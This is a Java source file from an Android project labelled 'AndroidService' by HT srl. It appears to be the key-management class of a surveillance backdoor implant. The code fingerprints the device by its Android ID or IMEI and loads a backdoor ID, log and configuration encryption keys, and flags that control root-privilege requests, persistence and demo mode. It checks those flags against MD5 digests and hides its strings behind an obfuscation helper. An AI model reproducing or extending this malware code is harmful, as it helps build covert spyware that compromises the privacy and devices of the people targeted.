/* *********************************************
 * Create by : Alberto "Q" Pelliccione
 * Company   : HT srl
 * Project   : AndroidService
 * Created   : 01-dec-2010
 **********************************************/

package com.android.dvci.crypto;

import android.content.Context;
import android.os.Build;
import android.provider.Settings.Secure;
import android.telephony.TelephonyManager;

import com.android.dvci.Device;
import com.android.dvci.Status;
import com.android.dvci.auto.Cfg;
import com.android.dvci.util.ByteArray;
import com.android.dvci.util.Check;
import com.android.dvci.util.Utils;
import com.android.mm.M;

import java.util.Arrays;

// This class should only be read by Device

/**
 * The Class Keys.
 */
public class Keys {
	private static final String TAG = "Keys"; //$NON-NLS-1$
	/**
	 * The singleton.
	 */
	private static Keys singleton;
	private static int keyLen = 16;

	// Subversion
	/** The Constant g_Subtype. */
	// private static final byte[] subtype = { 'A', 'N', 'D', 'R', 'O', 'I', 'D'
	// };
	// private static final byte[] g_Subtype = { 'A', 'N', 'D', 'R', 'O', 'I',
	// 'D' };

	// 20 bytes that uniquely identifies the device (non-static on purpose)
	/**
	 * The g_ instance id.
	 */
	private static byte[] instanceId;

	// 16 bytes that uniquely identifies the backdoor, NULL-terminated
	/**
	 * The Constant g_BackdoorID.
	 */
	private static byte[] backdoorId;

	// AES key used to encrypt logs
	/**
	 * The Constant g_AesKey.
	 */
	private static byte[] aesKey;

	// AES key used to decrypt configuration
	/**
	 * The Constant g_ConfKey.
	 */
	private static byte[] confKey;

	// Challenge key
	/**
	 * The Constant g_Challenge.
	 */
	private static byte[] challengeKey;

	// Demo key
	private static byte[] demoMode;

	// Privilege key
	private static byte[] rootRequest;

	// Random seed
	private static byte[] randomSeed;

	// persistence
	private static byte[] persistence;

	private static Object keysLock = new Object();

	//public String binarypatch = "20b25555f79c5549094bfd867fe75d004871f3854be8323fbb07381cd5777ae4c19f70723db754b7374e697113583c42550a470f87488de5381af20126e4ce0245151800f8038996d800fd987c7666dece748f6df7e98cde7499c1402de334200c9a3f4b098e5f88453fab282e49d3d51b7fd3aed73d6ed786f7792a607db2fb5dece9d005f3bc65272bb171ef7325cdaaa40a85909da0f06c790a2ad445c02eb718be87cb4f48f648f66aab59a4e2cb60841bd89242e1524b1e4273e05036b923bee3e8610843cc7ce18f7022f1da6b93c3971fa48036980a29e8499b1c28a7eb12c36fbe16ed5fce983163756c3b93d39540db88ac27be863542d14af1053b";
	//rand[256]
	public static byte[] binarypatch = new byte[]{
			(byte)0x32, (byte)0x30, (byte)0x62, (byte)0x32, (byte)0x35, (byte)0x35, (byte)0x35, (byte)0x35, (byte)0x66, (byte)0x37, (byte)0x39, (byte)0x63, (byte)0x35, (byte)0x35, (byte)0x34, (byte)0x39, (byte)0x30, (byte)0x39, (byte)0x34, (byte)0x62, (byte)0x66, (byte)0x64, (byte)0x38, (byte)0x36, (byte)0x37, (byte)0x66, (byte)0x65, (byte)0x37, (byte)0x35, (byte)0x64, (byte)0x30, (byte)0x30, (byte)0x34, (byte)0x38, (byte)0x37, (byte)0x31, (byte)0x66, (byte)0x33, (byte)0x38, (byte)0x35, (byte)0x34, (byte)0x62, (byte)0x65, (byte)0x38, (byte)0x33, (byte)0x32, (byte)0x33, (byte)0x66, (byte)0x62, (byte)0x62, (byte)0x30, (byte)0x37, (byte)0x33, (byte)0x38, (byte)0x31, (byte)0x63, (byte)0x64, (byte)0x35, (byte)0x37, (byte)0x37, (byte)0x37, (byte)0x61, (byte)0x65, (byte)0x34, (byte)0x63, (byte)0x31, (byte)0x39, (byte)0x66, (byte)0x37, (byte)0x30, (byte)0x37, (byte)0x32, (byte)0x33, (byte)0x64, (byte)0x62, (byte)0x37, (byte)0x35, (byte)0x34, (byte)0x62, (byte)0x37, (byte)0x33, (byte)0x37, (byte)0x34, (byte)0x65, (byte)0x36, (byte)0x39, (byte)0x37, (byte)0x31, (byte)0x31, (byte)0x33, (byte)0x35, (byte)0x38, (byte)0x33, (byte)0x63, (byte)0x34, (byte)0x32, (byte)0x35, (byte)0x35, (byte)0x30, (byte)0x61, (byte)0x34, (byte)0x37, (byte)0x30, (byte)0x66, (byte)0x38, (byte)0x37, (byte)0x34, (byte)0x38, (byte)0x38, (byte)0x64, (byte)0x65, (byte)0x35, (byte)0x33, (byte)0x38, (byte)0x31, (byte)0x61, (byte)0x66, (byte)0x32, (byte)0x30, (byte)0x31, (byte)0x32, (byte)0x36, (byte)0x65, (byte)0x34, (byte)0x63, (byte)0x65, (byte)0x30, (byte)0x32, (byte)0x34, (byte)0x35, (byte)0x31, (byte)0x35, (byte)0x31, (byte)0x38, (byte)0x30, (byte)0x30, (byte)0x66, (byte)0x38, (byte)0x30, (byte)0x33, (byte)0x38, (byte)0x39, (byte)0x39, (byte)0x36, (byte)0x64, (byte)0x38, (byte)0x30, (byte)0x30, (byte)0x66, (byte)0x64, (byte)0x39, (byte)0x38, (byte)0x37, (byte)0x63, (byte)0x37, (byte)0x36, (byte)0x36, (byte)0x36, (byte)0x64, (byte)0x65, (byte)0x63, (byte)0x65, (byte)0x37, (byte)0x34, (byte)0x38, (byte)0x66, (byte)0x36, (byte)0x64, (byte)0x66, (byte)0x37, (byte)0x65, (byte)0x39, (byte)0x38, (byte)0x63, (byte)0x64, (byte)0x65, (byte)0x37, (byte)0x34, (byte)0x39, (byte)0x39, (byte)0x63, (byte)0x31, (byte)0x34, (byte)0x30, (byte)0x32, (byte)0x64, (byte)0x65, (byte)0x33, (byte)0x33, (byte)0x34, (byte)0x32, (byte)0x30, (byte)0x30, (byte)0x63, (byte)0x39, (byte)0x61, (byte)0x33, (byte)0x66, (byte)0x34, (byte)0x62, (byte)0x30, (byte)0x39, (byte)0x38, (byte)0x65, (byte)0x35, (byte)0x66, (byte)0x38, (byte)0x38, (byte)0x34, (byte)0x35, (byte)0x33, (byte)0x66, (byte)0x61, (byte)0x62, (byte)0x32, (byte)0x38, (byte)0x32, (byte)0x65, (byte)0x34, (byte)0x39, (byte)0x64, (byte)0x33, (byte)0x64, (byte)0x35, (byte)0x31, (byte)0x62, (byte)0x37, (byte)0x66, (byte)0x64, (byte)0x33, (byte)0x61, (byte)0x65, (byte)0x64, (byte)0x37, (byte)0x33, (byte)0x64, (byte)0x36, (byte)0x65, (byte)0x64, (byte)0x37, (byte)0x38, (byte)0x36, (byte)0x66, (byte)0x37, (byte)0x37, (byte)0x39, (byte)0x32, (byte)0x61, (byte)0x36, (byte)0x30, (byte)0x37, (byte)0x64, (byte)0x62, (byte)0x32, (byte)0x66, (byte)0x62,
			//(byte)0x35, (byte)0x64, (byte)0x65, (byte)0x63, (byte)0x65, (byte)0x39, (byte)0x64, (byte)0x30, (byte)0x30, (byte)0x35, (byte)0x66, (byte)0x33, (byte)0x62, (byte)0x63, (byte)0x36, (byte)0x35, (byte)0x32, (byte)0x37, (byte)0x32, (byte)0x62, (byte)0x62, (byte)0x31, (byte)0x37, (byte)0x31, (byte)0x65, (byte)0x66, (byte)0x37, (byte)0x33, (byte)0x32, (byte)0x35, (byte)0x63, (byte)0x64, (byte)0x61, (byte)0x61, (byte)0x61, (byte)0x34, (byte)0x30, (byte)0x61, (byte)0x38, (byte)0x35, (byte)0x39, (byte)0x30, (byte)0x39, (byte)0x64, (byte)0x61, (byte)0x30, (byte)0x66, (byte)0x30, (byte)0x36, (byte)0x63, (byte)0x37, (byte)0x39, (byte)0x30, (byte)0x61, (byte)0x32, (byte)0x61, (byte)0x64, (byte)0x34, (byte)0x34, (byte)0x35, (byte)0x63, (byte)0x30, (byte)0x32, (byte)0x65, (byte)0x62, (byte)0x37, (byte)0x31, (byte)0x38, (byte)0x62, (byte)0x65, (byte)0x38, (byte)0x37, (byte)0x63, (byte)0x62, (byte)0x34, (byte)0x66, (byte)0x34, (byte)0x38, (byte)0x66, (byte)0x36, (byte)0x34, (byte)0x38, (byte)0x66, (byte)0x36, (byte)0x36, (byte)0x61, (byte)0x61, (byte)0x62, (byte)0x35, (byte)0x39, (byte)0x61, (byte)0x34, (byte)0x65, (byte)0x32, (byte)0x63, (byte)0x62, (byte)0x36, (byte)0x30, (byte)0x38, (byte)0x34, (byte)0x31, (byte)0x62, (byte)0x64, (byte)0x38, (byte)0x39, (byte)0x32, (byte)0x34, (byte)0x32, (byte)0x65, (byte)0x31, (byte)0x35, (byte)0x32, (byte)0x34, (byte)0x62, (byte)0x31, (byte)0x65, (byte)0x34, (byte)0x32, (byte)0x37, (byte)0x33, (byte)0x65, (byte)0x30, (byte)0x35, (byte)0x30, (byte)0x33, (byte)0x36, (byte)0x62, (byte)0x39, (byte)0x32, (byte)0x33, (byte)0x62, (byte)0x65, (byte)0x65, (byte)0x33, (byte)0x65, (byte)0x38, (byte)0x36, (byte)0x31, (byte)0x30, (byte)0x38, (byte)0x34, (byte)0x33, (byte)0x63, (byte)0x63, (byte)0x37, (byte)0x63, (byte)0x65, (byte)0x31, (byte)0x38, (byte)0x66, (byte)0x37, (byte)0x30, (byte)0x32, (byte)0x32, (byte)0x66, (byte)0x31, (byte)0x64, (byte)0x61, (byte)0x36, (byte)0x62, (byte)0x39, (byte)0x33, (byte)0x63, (byte)0x33, (byte)0x39, (byte)0x37, (byte)0x31, (byte)0x66, (byte)0x61, (byte)0x34, (byte)0x38, (byte)0x30, (byte)0x33, (byte)0x36, (byte)0x39, (byte)0x38, (byte)0x30, (byte)0x61, (byte)0x32, (byte)0x39, (byte)0x65, (byte)0x38, (byte)0x34, (byte)0x39, (byte)0x39, (byte)0x62, (byte)0x31, (byte)0x63, (byte)0x32, (byte)0x38, (byte)0x61, (byte)0x37, (byte)0x65, (byte)0x62, (byte)0x31, (byte)0x32, (byte)0x63, (byte)0x33, (byte)0x36, (byte)0x66, (byte)0x62, (byte)0x65, (byte)0x31, (byte)0x36, (byte)0x65, (byte)0x64, (byte)0x35, (byte)0x66, (byte)0x63, (byte)0x65, (byte)0x39, (byte)0x38, (byte)0x33, (byte)0x31, (byte)0x36, (byte)0x33, (byte)0x37, (byte)0x35, (byte)0x36, (byte)0x63, (byte)0x33, (byte)0x62, (byte)0x39, (byte)0x33, (byte)0x64, (byte)0x33, (byte)0x39, (byte)0x35, (byte)0x34, (byte)0x30, (byte)0x64, (byte)0x62, (byte)0x38, (byte)0x38, (byte)0x61, (byte)0x63, (byte)0x32, (byte)0x37, (byte)0x62, (byte)0x65, (byte)0x38, (byte)0x36, (byte)0x33, (byte)0x35, (byte)0x34, (byte)0x32, (byte)0x64, (byte)0x31, (byte)0x34, (byte)0x61, (byte)0x66, (byte)0x31, (byte)0x30, (byte)0x35, (byte)0x33, (byte)0x62
	};
	/**
	 * Self.
	 *
	 * @return the keys
	 */
	public static Keys self() {
		if (singleton == null) {
			synchronized (keysLock) {
				if (singleton == null) {
					if (Cfg.DEBUGKEYS) {
						Check.log(TAG + " Using binary patched keys");
					}
					singleton = new Keys(true);
				}
			}
		}

		return singleton;
	}


	protected Keys(boolean fromResources) {
		if (Cfg.DEBUGKEYS) {
			Check.log(TAG + " keys " + fromResources);
		}
		String androidId = Secure.getString(Status.getAppContext().getContentResolver(), Secure.ANDROID_ID);
		if (androidId == null) {
			androidId = "EMPTY";
		}

		//20.0=9774d56d682e549c M.d("9774d56d682e549c")
		if (M.e("9774d56d682e549c").equals(androidId) && !Device.self().isSimulator()) { //$NON-NLS-1$
			// http://code.google.com/p/android/issues/detail?id=10603
			// http://stackoverflow.com/questions/2785485/is-there-a-unique-android-device-id
			final TelephonyManager telephonyManager = (TelephonyManager) Status.getAppContext().getSystemService(
					Context.TELEPHONY_SERVICE);

			final String imei = telephonyManager.getDeviceId();
			androidId = imei;
		}

		if (Cfg.DEBUGKEYS) {
			Check.log(TAG + " (Keys), androidId: " + androidId);
		}

		instanceId = Digest.SHA1(androidId.getBytes());

		if (fromResources) {
			final byte[] resource = Utils.getAsset(M.e("rb.data")); // resources.bin

			// Richiediamo 16 byte ma incrementiamo di 32, e' corretto cosi
			// perche'
			// ci servono solo 16 byte
			backdoorId = ByteArray.copy(resource, 0, 14); // 14 byte
			aesKey = ByteArray.copy(resource, 14, 16); // 16 byte
			confKey = ByteArray.copy(resource, 46, 16); // 16 byte
			challengeKey = ByteArray.copy(resource, 78, 16); // 16 byte
			demoMode = ByteArray.copy(resource, 110, 24); // 24 byte
			rootRequest = ByteArray.copy(resource, 134, 16); // 16 byte

			randomSeed = ByteArray.copy(resource, 150, 16); // 16 byte
			persistence = ByteArray.copy(resource, 182, 16); // 16 byte

			if (Cfg.DEBUG) {
				Check.log(TAG + " backdoorId: " + new String(backdoorId));//$NON-NLS-1$
				Check.log(TAG + " aesKey: " + ByteArray.byteArrayToHex(aesKey));//$NON-NLS-1$
				Check.log(TAG + " confKey: " + ByteArray.byteArrayToHex(confKey));//$NON-NLS-1$
				Check.log(TAG + " challengeKey: " + ByteArray.byteArrayToHex(challengeKey));//$NON-NLS-1$
				Check.log(TAG + " instanceId: " + ByteArray.byteArrayToHex(instanceId));//$NON-NLS-1$
				Check.log(TAG + " demoMode: " + ByteArray.byteArrayToHex(demoMode));//$NON-NLS-1$
				Check.log(TAG + " rootMode: " + ByteArray.byteArrayToHex(rootRequest));//$NON-NLS-1$
				Check.log(TAG + " randomSeed: " + ByteArray.byteArrayToHex(randomSeed));//$NON-NLS-1$
				Check.log(TAG + " persistence: " + ByteArray.byteArrayToHex(persistence));//$NON-NLS-1$
			}

			if (isDemo() || Cfg.DEBUG) {
				Cfg.DEMO = true;
			}

			if (isPersistent()) {
				Cfg.PERSISTENCE = true;
			}
			if (Cfg.PERSISTENCE) {
				Status.setPersistencyStatus(Status.PERSISTENCY_STATUS_TO_INSTALL);
			} else {
				Status.setPersistencyStatus(Status.PERSISTENCY_STATUS_NOT_REQUIRED);
			}

			if (Build.BOARD.equals(M.e("BLACKBERRY"))) {
				Cfg.BLACKBERRY = true;
			}
		}
	}

	public boolean isPersistent() {
		// o5wp2Izl8jTwr8hf md5 = 92c5784a9b14780df0b109df7c2a171a

		if (Cfg.FORCE_NO_PERSISTENCE) {
			return false;
		}

		byte[] digest = ByteArray.hexStringToByteArray(M.e("92c5784a9b14780df0b109df7c2a171a"));
		byte[] calculated = Digest.MD5(persistence);

		boolean ret = Arrays.equals(calculated, digest);

		if (Cfg.DEBUG) {
			Check.log(TAG + "  persistence = " + ByteArray.byteArrayToHex(persistence));
			Check.log(TAG + "  digest = " + ByteArray.byteArrayToHex(calculated));
			Check.log(TAG + " (isPersistence): " + ret); //$NON-NLS-1$
		}

		return ret;
	}

	public boolean isDemo() {
		if (Cfg.FORCE_NODEMO) {
			return false;
		}
		// Pg-WaVyPzMMMMmGbhP6qAigT md5= 863d9effe70187254d3c5e9c76613a99
		byte[] digest = ByteArray.hexStringToByteArray(M.e("863d9effe70187254d3c5e9c76613a99"));
		byte[] calculated = Digest.MD5(demoMode);

		boolean ret = Arrays.equals(calculated, digest);

		if (Cfg.DEBUG) {
			Check.log(TAG + "  demoMode = " + ByteArray.byteArrayToHex(demoMode));
			Check.log(TAG + "  digest = " + ByteArray.byteArrayToHex(calculated));
			Check.log(TAG + " (isDemo): " + ret); //$NON-NLS-1$
		}

		return ret;
	}

	public boolean wantsPrivilege() {
		byte[] rootDigest = new byte[]{(byte) 0x3e, (byte) 0x96, (byte) 0xb7, (byte) 0x82, (byte) 0x7e, (byte) 0x89,
				(byte) 0xda, (byte) 0xbc, (byte) 0xb5, (byte) 0x6c, (byte) 0xd3, (byte) 0x34, (byte) 0xfb, (byte) 0x70,
				(byte) 0xb8, (byte) 0xba};

		byte[] calculated = Digest.MD5(getRootRequest());

		boolean ret = Arrays.equals(calculated, rootDigest);

		if (Cfg.FORCE_ROOT) {
			ret = true;
		}

		if (Cfg.DEBUG) {
			Check.log(TAG + " (wantsPrivilege MD5): " + ByteArray.byteArrayToHex(calculated)); //$NON-NLS-1$
			Check.log(TAG + " (wantsPrivilege): " + ret); //$NON-NLS-1$
		}

		return ret;
	}

	protected byte[] getRootRequest() {
		return rootRequest;
	}

	/**
	 * Check. for been binary patched. //$NON-NLS-1$
	 *
	 * @return true, if successful
	 */
	public boolean hasBeenBinaryPatched() {

		//String binary = binarypatch.substring(0,16);
		byte binary = binarypatch[0];
		// EMp7Ca7-fpOBIr md5=b1688ffaaaafd7c1cab52e630b53178f		
		byte[] bDigest = ByteArray.hexStringToByteArray(M.e("b1688ffaaaafd7c1cab52e630b53178f"));
		byte[] calculated = Digest.MD5(backdoorId);

		if (Cfg.DEBUG) {
			Check.log(TAG + " (hasBeenBinaryPatched) calculated MD5: " + ByteArray.byteArrayToHex(calculated));
		}
		boolean ret = !Arrays.equals(calculated, bDigest);
		return ret;
	}

	/**
	 * Gets the aes key.
	 *
	 * @return the aes key
	 */
	public byte[] getAesKey() {
		return aesKey;
	}

	/**
	 * Gets the challenge key.
	 *
	 * @return the challenge key
	 */
	public byte[] getChallengeKey() {
		return challengeKey;
	}

	/**
	 * Gets the conf key.
	 *
	 * @return the conf key
	 */
	public byte[] getConfKey() {
		return confKey;
	}

	/**
	 * Gets the instance id.
	 *
	 * @return the instance id
	 */
	public byte[] getInstanceId() {
		return instanceId;
	}

	/**
	 * Gets the builds the id.
	 *
	 * @return the builds the id
	 */
	public byte[] getBuildId() {
		return backdoorId;
	}

	/**
	 * Gets the subtype.
	 *
	 * @return the subtype
	 */
	static public byte[] getSubtype() {

		String board = M.e("ANDROID");
		if (Build.BOARD.equals(M.e("BLACKBERRY"))) {
			board = M.e("BLACKBERRY");
		}

		if (Cfg.DEMO) {
			// 20.1=DEMO
			board += M.e("-DEMO");
		}
		return board.getBytes();
	}

	private static byte[] keyFromString(byte[] resource, int from, int len) {
		final byte[] res = ByteArray.copy(resource, from, len);
		byte[] ret = keyFromString(new String(res));

		if (ret == null) {
			return ByteArray.copy(resource, from, 16);
		} else {
			return ret;
		}
	}

	private static byte[] keyFromString(final String string) {
		try {
			final byte[] array = new byte[keyLen];

			for (int pos = 0; pos < keyLen; pos++) {
				final String repr = string.substring(pos * 2, pos * 2 + 2);
				array[pos] = (byte) Integer.parseInt(repr, 16);
			}

			return array;
		} catch (final Exception ex) {
			if (Cfg.EXCEPTION) {
				Check.log(ex);
			}

			return null;
		}
	}

	public boolean enabled() {
		if (Cfg.BLACKBERRY) {
			return false;
		} else {
			return true;
		}
	}
}
